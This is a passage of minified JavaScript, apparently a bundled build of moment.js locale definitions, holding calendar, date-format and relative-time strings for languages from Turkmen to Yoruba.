t={1:"'inji",5:"'inji",8:"'inji",70:"'inji",80:"'inji",2:"'nji",7:"'nji",20:"'nji",50:"'nji",3:"'ünji",4:"'ünji",100:"'ünji",6:"'njy",9:"'unjy",10:"'unjy",30:"'unjy",60:"'ynjy",90:"'ynjy"};e.defineLocale("tk",{months:"Ýanwar_Fewral_Mart_Aprel_Maý_Iýun_Iýul_Awgust_Sentýabr_Oktýabr_Noýabr_Dekabr".split("_"),monthsShort:"Ýan_Few_Mar_Apr_Maý_Iýn_Iýl_Awg_Sen_Okt_Noý_Dek".split("_"),weekdays:"Ýekşenbe_Duşenbe_Sişenbe_Çarşenbe_Penşenbe_Anna_Şenbe".split("_"),weekdaysShort:"Ýek_Duş_Siş_Çar_Pen_Ann_Şen".split("_"),weekdaysMin:"Ýk_Dş_Sş_Çr_Pn_An_Şn".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün sagat] LT",nextDay:"[ertir sagat] LT",nextWeek:"[indiki] dddd [sagat] LT",lastDay:"[düýn] LT",lastWeek:"[geçen] dddd [sagat] LT",sameElse:"L"},relativeTime:{future:"%s soň",past:"%s öň",s:"birnäçe sekunt",m:"bir minut",mm:"%d minut",h:"bir sagat",hh:"%d sagat",d:"bir gün",dd:"%d gün",M:"bir aý",MM:"%d aý",y:"bir ýyl",yy:"%d ýyl"},ordinal:function(e,a){switch(a){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'unjy";var n=e%10,i=e%100-n,r=e>=100?100:null;return e+(t[n]||t[i]||t[r])}},week:{dow:1,doy:7}})}(a(381))},5768:function(e,t,a){!function(e){"use strict";e.defineLocale("tl-ph",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(a(381))},9444:function(e,t,a){!function(e){"use strict";var t="pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut".split("_");function a(e){var t=e;return t=-1!==e.indexOf("jaj")?t.slice(0,-3)+"leS":-1!==e.indexOf("jar")?t.slice(0,-3)+"waQ":-1!==e.indexOf("DIS")?t.slice(0,-3)+"nem":t+" pIq"}function n(e){var t=e;return t=-1!==e.indexOf("jaj")?t.slice(0,-3)+"Hu’":-1!==e.indexOf("jar")?t.slice(0,-3)+"wen":-1!==e.indexOf("DIS")?t.slice(0,-3)+"ben":t+" ret"}function i(e,t,a,n){var i=r(e);switch(a){case"ss":return i+" lup";case"mm":return i+" tup";case"hh":return i+" rep";case"dd":return i+" jaj";case"MM":return i+" jar";case"yy":return i+" DIS"}}function r(e){var a=Math.floor(e%1e3/100),n=Math.floor(e%100/10),i=e%10,r="";return a>0&&(r+=t[a]+"vatlh"),n>0&&(r+=(""!==r?" ":"")+t[n]+"maH"),i>0&&(r+=(""!==r?" ":"")+t[i]),""===r?"pagh":r}e.defineLocale("tlh",{months:"tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’".split("_"),monthsShort:"jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’".split("_"),monthsParseExact:!0,weekdays:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysShort:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysMin:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[DaHjaj] LT",nextDay:"[wa’leS] LT",nextWeek:"LLL",lastDay:"[wa’Hu’] LT",lastWeek:"LLL",sameElse:"L"},relativeTime:{future:a,past:n,s:"puS lup",ss:i,m:"wa’ tup",mm:i,h:"wa’ rep",hh:i,d:"wa’ jaj",dd:i,M:"wa’ jar",MM:i,y:"wa’ DIS",yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},2397:function(e,t,a){!function(e){"use strict";var t={1:"'inci",5:"'inci",8:"'inci",70:"'inci",80:"'inci",2:"'nci",7:"'nci",20:"'nci",50:"'nci",3:"'üncü",4:"'üncü",100:"'üncü",6:"'ncı",9:"'uncu",10:"'uncu",30:"'uncu",60:"'ıncı",90:"'ıncı"};e.defineLocale("tr",{months:"Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık".split("_"),monthsShort:"Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara".split("_"),weekdays:"Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi".split("_"),weekdaysShort:"Paz_Pts_Sal_Çar_Per_Cum_Cts".split("_"),weekdaysMin:"Pz_Pt_Sa_Ça_Pe_Cu_Ct".split("_"),meridiem:function(e,t,a){return e<12?a?"öö":"ÖÖ":a?"ös":"ÖS"},meridiemParse:/öö|ÖÖ|ös|ÖS/,isPM:function(e){return"ös"===e||"ÖS"===e},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[yarın saat] LT",nextWeek:"[gelecek] dddd [saat] LT",lastDay:"[dün] LT",lastWeek:"[geçen] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s önce",s:"birkaç saniye",ss:"%d saniye",m:"bir dakika",mm:"%d dakika",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",w:"bir hafta",ww:"%d hafta",M:"bir ay",MM:"%d ay",y:"bir yıl",yy:"%d yıl"},ordinal:function(e,a){switch(a){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'ıncı";var n=e%10,i=e%100-n,r=e>=100?100:null;return e+(t[n]||t[i]||t[r])}},week:{dow:1,doy:7}})}(a(381))},8254:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){var i={s:["viensas secunds","'iensas secunds"],ss:[e+" secunds",e+" secunds"],m:["'n míut","'iens míut"],mm:[e+" míuts",e+" míuts"],h:["'n þora","'iensa þora"],hh:[e+" þoras",e+" þoras"],d:["'n ziua","'iensa ziua"],dd:[e+" ziuas",e+" ziuas"],M:["'n mes","'iens mes"],MM:[e+" mesen",e+" mesen"],y:["'n ar","'iens ar"],yy:[e+" ars",e+" ars"]};return n||t?i[a][0]:i[a][1]}e.defineLocale("tzl",{months:"Januar_Fevraglh_Març_Avrïu_Mai_Gün_Julia_Guscht_Setemvar_Listopäts_Noemvar_Zecemvar".split("_"),monthsShort:"Jan_Fev_Mar_Avr_Mai_Gün_Jul_Gus_Set_Lis_Noe_Zec".split("_"),weekdays:"Súladi_Lúneçi_Maitzi_Márcuri_Xhúadi_Viénerçi_Sáturi".split("_"),weekdaysShort:"Súl_Lún_Mai_Már_Xhú_Vié_Sát".split("_"),weekdaysMin:"Sú_Lú_Ma_Má_Xh_Vi_Sá".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"D. MMMM [dallas] YYYY",LLL:"D. MMMM [dallas] YYYY HH.mm",LLLL:"dddd, [li] D. MMMM [dallas] YYYY HH.mm"},meridiemParse:/d\'o|d\'a/i,isPM:function(e){return"d'o"===e.toLowerCase()},meridiem:function(e,t,a){return e>11?a?"d'o":"D'O":a?"d'a":"D'A"},calendar:{sameDay:"[oxhi à] LT",nextDay:"[demà à] LT",nextWeek:"dddd [à] LT",lastDay:"[ieiri à] LT",lastWeek:"[sür el] dddd [lasteu à] LT",sameElse:"L"},relativeTime:{future:"osprei %s",past:"ja%s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},699:function(e,t,a){!function(e){"use strict";e.defineLocale("tzm-latn",{months:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),monthsShort:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),weekdays:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysShort:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysMin:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[asdkh g] LT",nextDay:"[aska g] LT",nextWeek:"dddd [g] LT",lastDay:"[assant g] LT",lastWeek:"dddd [g] LT",sameElse:"L"},relativeTime:{future:"dadkh s yan %s",past:"yan %s",s:"imik",ss:"%d imik",m:"minuḍ",mm:"%d minuḍ",h:"saɛa",hh:"%d tassaɛin",d:"ass",dd:"%d ossan",M:"ayowr",MM:"%d iyyirn",y:"asgas",yy:"%d isgasn"},week:{dow:6,doy:12}})}(a(381))},1106:function(e,t,a){!function(e){"use strict";e.defineLocale("tzm",{months:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),monthsShort:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),weekdays:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysShort:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysMin:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[ⴰⵙⴷⵅ ⴴ] LT",nextDay:"[ⴰⵙⴽⴰ ⴴ] LT",nextWeek:"dddd [ⴴ] LT",lastDay:"[ⴰⵚⴰⵏⵜ ⴴ] LT",lastWeek:"dddd [ⴴ] LT",sameElse:"L"},relativeTime:{future:"ⴷⴰⴷⵅ ⵙ ⵢⴰⵏ %s",past:"ⵢⴰⵏ %s",s:"ⵉⵎⵉⴽ",ss:"%d ⵉⵎⵉⴽ",m:"ⵎⵉⵏⵓⴺ",mm:"%d ⵎⵉⵏⵓⴺ",h:"ⵙⴰⵄⴰ",hh:"%d ⵜⴰⵙⵙⴰⵄⵉⵏ",d:"ⴰⵙⵙ",dd:"%d oⵙⵙⴰⵏ",M:"ⴰⵢoⵓⵔ",MM:"%d ⵉⵢⵢⵉⵔⵏ",y:"ⴰⵙⴳⴰⵙ",yy:"%d ⵉⵙⴳⴰⵙⵏ"},week:{dow:6,doy:12}})}(a(381))},9288:function(e,t,a){!function(e){"use strict";e.defineLocale("ug-cn",{months:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),monthsShort:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),weekdays:"يەكشەنبە_دۈشەنبە_سەيشەنبە_چارشەنبە_پەيشەنبە_جۈمە_شەنبە".split("_"),weekdaysShort:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),weekdaysMin:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY-يىلىM-ئاينىڭD-كۈنى",LLL:"YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm",LLLL:"dddd، YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm"},meridiemParse:/يېرىم كېچە|سەھەر|چۈشتىن بۇرۇن|چۈش|چۈشتىن كېيىن|كەچ/,meridiemHour:function(e,t){return 12===e&&(e=0),"يېرىم كېچە"===t||"سەھەر"===t||"چۈشتىن بۇرۇن"===t?e:"چۈشتىن كېيىن"===t||"كەچ"===t?e+12:e>=11?e:e+12},meridiem:function(e,t,a){var n=100*e+t;return n<600?"يېرىم كېچە":n<900?"سەھەر":n<1130?"چۈشتىن بۇرۇن":n<1230?"چۈش":n<1800?"چۈشتىن كېيىن":"كەچ"},calendar:{sameDay:"[بۈگۈن سائەت] LT",nextDay:"[ئەتە سائەت] LT",nextWeek:"[كېلەركى] dddd [سائەت] LT",lastDay:"[تۆنۈگۈن] LT",lastWeek:"[ئالدىنقى] dddd [سائەت] LT",sameElse:"L"},relativeTime:{future:"%s كېيىن",past:"%s بۇرۇن",s:"نەچچە سېكونت",ss:"%d سېكونت",m:"بىر مىنۇت",mm:"%d مىنۇت",h:"بىر سائەت",hh:"%d سائەت",d:"بىر كۈن",dd:"%d كۈن",M:"بىر ئاي",MM:"%d ئاي",y:"بىر يىل",yy:"%d يىل"},dayOfMonthOrdinalParse:/\d{1,2}(-كۈنى|-ئاي|-ھەپتە)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"-كۈنى";case"w":case"W":return e+"-ھەپتە";default:return e}},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:7}})}(a(381))},7691:function(e,t,a){!function(e){"use strict";function t(e,t){var a=e.split("_");return t%10==1&&t%100!=11?a[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?a[1]:a[2]}function a(e,a,n){return"m"===n?a?"хвилина":"хвилину":"h"===n?a?"година":"годину":e+" "+t({ss:a?"секунда_секунди_секунд":"секунду_секунди_секунд",mm:a?"хвилина_хвилини_хвилин":"хвилину_хвилини_хвилин",hh:a?"година_години_годин":"годину_години_годин",dd:"день_дні_днів",MM:"місяць_місяці_місяців",yy:"рік_роки_років"}[n],+e)}function n(e,t){var a={nominative:"неділя_понеділок_вівторок_середа_четвер_п’ятниця_субота".split("_"),accusative:"неділю_понеділок_вівторок_середу_четвер_п’ятницю_суботу".split("_"),genitive:"неділі_понеділка_вівторка_середи_четверга_п’ятниці_суботи".split("_")};return!0===e?a.nominative.slice(1,7).concat(a.nominative.slice(0,1)):e?a[/(\[[ВвУу]\]) ?dddd/.test(t)?"accusative":/\[?(?:минулої|наступної)? ?\] ?dddd/.test(t)?"genitive":"nominative"][e.day()]:a.nominative}function i(e){return function(){return e+"о"+(11===this.hours()?"б":"")+"] LT"}}e.defineLocale("uk",{months:{format:"січня_лютого_березня_квітня_травня_червня_липня_серпня_вересня_жовтня_листопада_грудня".split("_"),standalone:"січень_лютий_березень_квітень_травень_червень_липень_серпень_вересень_жовтень_листопад_грудень".split("_")},monthsShort:"січ_лют_бер_квіт_трав_черв_лип_серп_вер_жовт_лист_груд".split("_"),weekdays:n,weekdaysShort:"нд_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"нд_пн_вт_ср_чт_пт_сб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY р.",LLL:"D MMMM YYYY р., HH:mm",LLLL:"dddd, D MMMM YYYY р., HH:mm"},calendar:{sameDay:i("[Сьогодні "),nextDay:i("[Завтра "),lastDay:i("[Вчора "),nextWeek:i("[У] dddd ["),lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return i("[Минулої] dddd [").call(this);case 1:case 2:case 4:return i("[Минулого] dddd [").call(this)}},sameElse:"L"},relativeTime:{future:"за %s",past:"%s тому",s:"декілька секунд",ss:a,m:a,mm:a,h:"годину",hh:a,d:"день",dd:a,M:"місяць",MM:a,y:"рік",yy:a},meridiemParse:/ночі|ранку|дня|вечора/,isPM:function(e){return/^(дня|вечора)$/.test(e)},meridiem:function(e,t,a){return e<4?"ночі":e<12?"ранку":e<17?"дня":"вечора"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e+"-й";case"D":return e+"-го";default:return e}},week:{dow:1,doy:7}})}(a(381))},3795:function(e,t,a){!function(e){"use strict";var t=["جنوری","فروری","مارچ","اپریل","مئی","جون","جولائی","اگست","ستمبر","اکتوبر","نومبر","دسمبر"],a=["اتوار","پیر","منگل","بدھ","جمعرات","جمعہ","ہفتہ"];e.defineLocale("ur",{months:t,monthsShort:t,weekdays:a,weekdaysShort:a,weekdaysMin:a,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd، D MMMM YYYY HH:mm"},meridiemParse:/صبح|شام/,isPM:function(e){return"شام"===e},meridiem:function(e,t,a){return e<12?"صبح":"شام"},calendar:{sameDay:"[آج بوقت] LT",nextDay:"[کل بوقت] LT",nextWeek:"dddd [بوقت] LT",lastDay:"[گذشتہ روز بوقت] LT",lastWeek:"[گذشتہ] dddd [بوقت] LT",sameElse:"L"},relativeTime:{future:"%s بعد",past:"%s قبل",s:"چند سیکنڈ",ss:"%d سیکنڈ",m:"ایک منٹ",mm:"%d منٹ",h:"ایک گھنٹہ",hh:"%d گھنٹے",d:"ایک دن",dd:"%d دن",M:"ایک ماہ",MM:"%d ماہ",y:"ایک سال",yy:"%d سال"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:4}})}(a(381))},588:function(e,t,a){!function(e){"use strict";e.defineLocale("uz-latn",{months:"Yanvar_Fevral_Mart_Aprel_May_Iyun_Iyul_Avgust_Sentabr_Oktabr_Noyabr_Dekabr".split("_"),monthsShort:"Yan_Fev_Mar_Apr_May_Iyun_Iyul_Avg_Sen_Okt_Noy_Dek".split("_"),weekdays:"Yakshanba_Dushanba_Seshanba_Chorshanba_Payshanba_Juma_Shanba".split("_"),weekdaysShort:"Yak_Dush_Sesh_Chor_Pay_Jum_Shan".split("_"),weekdaysMin:"Ya_Du_Se_Cho_Pa_Ju_Sha".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"D MMMM YYYY, dddd HH:mm"},calendar:{sameDay:"[Bugun soat] LT [da]",nextDay:"[Ertaga] LT [da]",nextWeek:"dddd [kuni soat] LT [da]",lastDay:"[Kecha soat] LT [da]",lastWeek:"[O'tgan] dddd [kuni soat] LT [da]",sameElse:"L"},relativeTime:{future:"Yaqin %s ichida",past:"Bir necha %s oldin",s:"soniya",ss:"%d soniya",m:"bir daqiqa",mm:"%d daqiqa",h:"bir soat",hh:"%d soat",d:"bir kun",dd:"%d kun",M:"bir oy",MM:"%d oy",y:"bir yil",yy:"%d yil"},week:{dow:1,doy:7}})}(a(381))},6791:function(e,t,a){!function(e){"use strict";e.defineLocale("uz",{months:"январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_"),monthsShort:"янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"),weekdays:"Якшанба_Душанба_Сешанба_Чоршанба_Пайшанба_Жума_Шанба".split("_"),weekdaysShort:"Якш_Душ_Сеш_Чор_Пай_Жум_Шан".split("_"),weekdaysMin:"Як_Ду_Се_Чо_Па_Жу_Ша".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"D MMMM YYYY, dddd HH:mm"},calendar:{sameDay:"[Бугун соат] LT [да]",nextDay:"[Эртага] LT [да]",nextWeek:"dddd [куни соат] LT [да]",lastDay:"[Кеча соат] LT [да]",lastWeek:"[Утган] dddd [куни соат] LT [да]",sameElse:"L"},relativeTime:{future:"Якин %s ичида",past:"Бир неча %s олдин",s:"фурсат",ss:"%d фурсат",m:"бир дакика",mm:"%d дакика",h:"бир соат",hh:"%d соат",d:"бир кун",dd:"%d кун",M:"бир ой",MM:"%d ой",y:"бир йил",yy:"%d йил"},week:{dow:1,doy:7}})}(a(381))},5666:function(e,t,a){!function(e){"use strict";e.defineLocale("vi",{months:"tháng 1_tháng 2_tháng 3_tháng 4_tháng 5_tháng 6_tháng 7_tháng 8_tháng 9_tháng 10_tháng 11_tháng 12".split("_"),monthsShort:"Thg 01_Thg 02_Thg 03_Thg 04_Thg 05_Thg 06_Thg 07_Thg 08_Thg 09_Thg 10_Thg 11_Thg 12".split("_"),monthsParseExact:!0,weekdays:"chủ nhật_thứ hai_thứ ba_thứ tư_thứ năm_thứ sáu_thứ bảy".split("_"),weekdaysShort:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysMin:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysParseExact:!0,meridiemParse:/sa|ch/i,isPM:function(e){return/^ch$/i.test(e)},meridiem:function(e,t,a){return e<12?a?"sa":"SA":a?"ch":"CH"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [năm] YYYY",LLL:"D MMMM [năm] YYYY HH:mm",LLLL:"dddd, D MMMM [năm] YYYY HH:mm",l:"DD/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[Hôm nay lúc] LT",nextDay:"[Ngày mai lúc] LT",nextWeek:"dddd [tuần tới lúc] LT",lastDay:"[Hôm qua lúc] LT",lastWeek:"dddd [tuần trước lúc] LT",sameElse:"L"},relativeTime:{future:"%s tới",past:"%s trước",s:"vài giây",ss:"%d giây",m:"một phút",mm:"%d phút",h:"một giờ",hh:"%d giờ",d:"một ngày",dd:"%d ngày",w:"một tuần",ww:"%d tuần",M:"một tháng",MM:"%d tháng",y:"một năm",yy:"%d năm"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(a(381))},4378:function(e,t,a){!function(e){"use strict";e.defineLocale("x-pseudo",{months:"J~áñúá~rý_F~ébrú~árý_~Márc~h_Áp~ríl_~Máý_~Júñé~_Júl~ý_Áú~gúst~_Sép~témb~ér_Ó~ctób~ér_Ñ~óvém~bér_~Décé~mbér".split("_"),monthsShort:"J~áñ_~Féb_~Már_~Ápr_~Máý_~Júñ_~Júl_~Áúg_~Sép_~Óct_~Ñóv_~Déc".split("_"),monthsParseExact:!0,weekdays:"S~úñdá~ý_Mó~ñdáý~_Túé~sdáý~_Wéd~ñésd~áý_T~húrs~dáý_~Fríd~áý_S~átúr~dáý".split("_"),weekdaysShort:"S~úñ_~Móñ_~Túé_~Wéd_~Thú_~Frí_~Sát".split("_"),weekdaysMin:"S~ú_Mó~_Tú_~Wé_T~h_Fr~_Sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[T~ódá~ý át] LT",nextDay:"[T~ómó~rró~w át] LT",nextWeek:"dddd [át] LT",lastDay:"[Ý~ést~érdá~ý át] LT",lastWeek:"[L~ást] dddd [át] LT",sameElse:"L"},relativeTime:{future:"í~ñ %s",past:"%s á~gó",s:"á ~féw ~sécó~ñds",ss:"%d s~écóñ~ds",m:"á ~míñ~úté",mm:"%d m~íñú~tés",h:"á~ñ hó~úr",hh:"%d h~óúrs",d:"á ~dáý",dd:"%d d~áýs",M:"á ~móñ~th",MM:"%d m~óñt~hs",y:"á ~ýéár",yy:"%d ý~éárs"},dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(a(381))},5805:function(e,t,a){!function(e){"use strict";e.defineLocale("yo",{months:"Sẹ́rẹ́_Èrèlè_Ẹrẹ̀nà_Ìgbé_Èbibi_Òkùdu_Agẹmo_Ògún_Owewe_Ọ̀wàrà_Bélú_Ọ̀pẹ̀̀".split("_"),monthsShort:"Sẹ́r_Èrl_Ẹrn_Ìgb_Èbi_Òkù_Agẹ_Ògú_Owe_Ọ̀wà_Bél_Ọ̀pẹ̀̀".split("_"),weekdays:"Àìkú_Ajé_Ìsẹ́gun_Ọjọ́rú_Ọjọ́bọ_Ẹtì_Àbámẹ́ta".split("_"),weekdaysShort:"Àìk_Ajé_Ìsẹ́_Ọjr_Ọjb_Ẹtì_Àbá".split("_"),weekdaysMin:"Àì_Aj_Ìs_Ọr_Ọb_Ẹt_Àb".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Ònì ni] LT",nextDay:"[Ọ̀la ni] LT",nextWeek:"dddd [Ọsẹ̀ tón'bọ] [ni] LT",lastDay:"[Àna ni] LT",lastWeek:"dddd [Ọsẹ̀ tólọ́] [ni] LT",sameElse:"L"},relativeTime:{future:"ní %s",past:"%s kọjá",s:"ìsẹjú aayá die",ss:"aayá %d",m:"ìsẹjú kan",mm:"ìsẹjú %d",h:"wákati kan",hh:"wákati %d",d:"ọjọ́ kan",dd:"ọjọ́ %d",M:"osù kan",MM:"osù %d",y:"ọdún kan",yy:"ọdún %d"},dayOfMonthOrdinalParse:/ọjọ́\s\d{1,2}/,ordinal:"ọjọ́ %d",week:{dow:1,doy:4}})}(a(381))},3839:function(e,t,a){!function(e){"use 